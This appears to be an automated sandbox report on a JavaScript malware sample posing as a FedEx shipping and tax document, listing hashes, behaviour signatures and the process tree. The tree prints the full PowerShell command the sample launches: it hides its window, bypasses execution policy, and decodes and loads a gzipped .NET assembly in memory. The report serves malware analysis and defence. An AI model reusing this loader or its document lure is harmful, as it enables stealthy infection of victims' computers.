Analysis

  • max time kernel
    298s
  • max time network
    300s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    25/05/2026, 13:58

General

  • Target
    fedex_awb_bl_tax_bill_document_receipt_payment_05_25_2026_000000000.js
  • Size 14.7MB
  • Sample260525-rab8baas7j
  • SHA256 3e084f09333579e2abe333a817ea9e690a02c1dcc5b76c720dc2e208a77124e4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\fedex_awb_bl_tax_bill_document_receipt_payment_05_25_2026_000000000.js
    1⤵
      PID:2492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13;$b=[Convert]::FromBase64String($s);$ms=New-Object IO.MemoryStream(,$b);$gs=New-Object IO.Compression.GZipStream($ms,[IO.Compression.CompressionMode]::Decompress);$rs=New-Object IO.MemoryStream;$gs.CopyTo($rs);[Reflection.Assembly]::Load($rs.ToArray())|Out-Null;[Fiber.Program]::Main('MgIPBR1qWkH3AAEWFQwF6QtbU242GQ0QHSQaDO8dB1wTEB+uB1NYH2tFSkZfaFse7RU=','','GUwnIB01Bx3fIhUQHBYR3SpRSC42GRoRHQw=','FBcWEDEWHALm','KBMcNB09','','KBMcNB09','','DyQ3','GUwnIB01Bx3fIhUQHBYR3SpRSC42GRoRHQw=','FBcWEDEWHALm','','aw==','','DhcIHjEeFAPm','ag==','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:712

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_mnl1dpdz.vee.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mnl1dpdz.vee.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/712-1-0x000002430D6D0000-0x000002430D6E0000-memory.dmp

          memory/712-0-0x000002430D6D0000-0x000002430D6E0000-memory.dmp

          memory/712-8-0x000002430D840000-0x000002430D862000-memory.dmp

          memory/712-9-0x000002430D6D0000-0x000002430D6E0000-memory.dmp

          memory/712-10-0x0000024328DD0000-0x0000024328E84000-memory.dmp

          memory/712-11-0x000002430D710000-0x000002430D71A000-memory.dmp

          memory/712-13-0x000002430D6D0000-0x000002430D6E0000-memory.dmp

          memory/712-12-0x000002430D6D0000-0x000002430D6E0000-memory.dmp

          memory/712-14-0x000002430D6D0000-0x000002430D6E0000-memory.dmp